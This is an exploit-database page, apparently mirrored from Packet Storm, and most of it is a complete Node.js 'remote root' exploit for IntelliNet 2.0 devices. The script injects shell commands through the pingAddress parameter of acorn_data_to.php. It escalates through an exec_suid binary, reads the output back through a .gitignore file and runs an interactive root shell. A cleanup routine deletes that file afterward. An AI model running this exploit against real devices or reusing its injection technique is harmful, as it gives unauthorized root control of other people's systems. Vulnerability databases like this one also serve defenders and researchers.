Lucene search
K

IntelliNet 2.0 Remote Root

🗓️ 02 Sep 2024 00:00:00Reported by Jean PereiraType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 286 Views

IntelliNet 2.0 Remote Root exploit using firmware injection and exec_sui

Code
`#!/usr/local/bin/node  
const { execSync } = require('child_process');  
const readline = require('readline');  
  
let TARGET = '';  
let COMMAND = '';  
let SESSION = '';  
  
const ESCALATE = '/usr/aes/bin/exec_suid';  
  
console.log(`  
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀  
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀  
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣼⣿⣧⣶⣶⣶⣦⣤⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀  
⠀⠀⠀⠀⠀⠀⣠⣾⢿⣿⣿⣿⣏⠉⠉⠛⠛⠿⣷⣕⠀⠀⠀⠀⠀⠀⠀⠀  
⠀⠀⠀⠀⣠⣾⢝⠄⢀⣿⡿⠻⣿⣄⠀⠀⠀⠀⠈⢿⣧⡀⣀⣤⡾⠀⠀⠀  
⠀⠀⠀⢰⣿⡡⠁⠀⠀⣿⡇⠀⠸⣿⣾⡆⠀⠀⣀⣤⣿⣿⠋⠁⠀⠀⠀⠀  
⠀⠀⢀⣷⣿⠃⠀⠀⢸⣿⡇⠀⠀⠹⣿⣷⣴⡾⠟⠉⠸⣿⡇⠀⠀⠀⠀⠀  
⠀⠀⢸⣿⠗⡀⠀⠀⢸⣿⠃⣠⣶⣿⠿⢿⣿⡀⠀⠀⢀⣿⡇⠀⠀⠀⠀⠀  
⠀⠀⠘⡿⡄⣇⠀⣀⣾⣿⡿⠟⠋⠁⠀⠈⢻⣷⣆⡄⢸⣿⡇⠀⠀⠀⠀⠀  
⠀⠀⠀⢻⣷⣿⣿⠿⣿⣧⠀⠀⠀⠀⠀⠀⠀⠻⣿⣷⣿⡟⠀⠀⠀⠀⠀⠀  
⢀⣰⣾⣿⠿⣿⣿⣾⣿⠇⠀⠀⠀⠀⠀⠀⠀⢀⣼⣿⣿⣅⠀⠀⠀⠀⠀⠀  
⠀⠰⠊⠁⠀⠙⠪⣿⣿⣶⣤⣄⣀⣀⣀⣤⣶⣿⠟⠋⠙⢿⣷⡄⠀⠀⠀⠀  
⠀⠀⠀⠀⠀⠀⢀⣿⡟⠺⠭⠭⠿⠿⠿⠟⠋⠁⠀⠀⠀⠀⠙⠏⣦⠀⠀⠀  
⠀⠀⠀⠀⠀⠀⢸⡟⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀  
⠀⠀⠀⠀⠀⠀⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀  
  
╔════════════════════════════════════════════╗  
║ IntelliNet 2.0 Remote Root Exploit (0-Day) ║  
║ Author: Jean Pereira <[email protected]> ║  
╚════════════════════════════════════════════╝  
  
`);  
  
const cleanUp = () => {  
execSync(  
`curl -sL "http://${TARGET}/acorn_data_to.php?cmd=ping-tool&pingAddress=127.0.0.1;rm%20.gitignore;"`  
);  
};  
  
const createShell = (cmd) => {  
execSync(  
`curl -sL "http://${TARGET}/acorn_data_to.php?cmd=ping-tool&pingAddress=127.0.0.1;${encodeURIComponent(  
[ESCALATE, cmd].join(' ')  
)}%20%3E%20.gitignore;"`  
);  
return execSync(`curl -sL "http://${TARGET}/.gitignore"`).toString().trim();  
};  
  
const rl = readline.createInterface({  
input: process.stdin,  
output: process.stdout,  
});  
  
const interactiveShell = () => {  
rl.question(`root@${SESSION.slice(8)}:~# `, (currentCommand) => {  
if (currentCommand.trim() === '!q') {  
console.log('Cleaning up...');  
cleanUp();  
rl.close();  
} else {  
COMMAND = currentCommand;  
let output = createShell(COMMAND);  
console.log(output);  
interactiveShell();   
}  
});  
};  
  
rl.question('[*] Enter target IP: ', (targetIP) => {  
TARGET = targetIP;  
SESSION = createShell('echo a1b2c3d4$HOSTNAME');  
if (!SESSION.startsWith('a1b2c3d4')) {  
console.log('[*] Could not execute payload, aborting');  
process.exit(0);  
} else {  
console.log('[*] Payload injected to firmware');  
console.log('[*] Launching root shell via exec_suid');  
}  
console.log('');  
interactiveShell();  
});  
  
rl.on('close', () => {  
process.exit(0);  
});  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Sep 2024 00:00Current
7.4High risk
Vulners AI Score7.4
286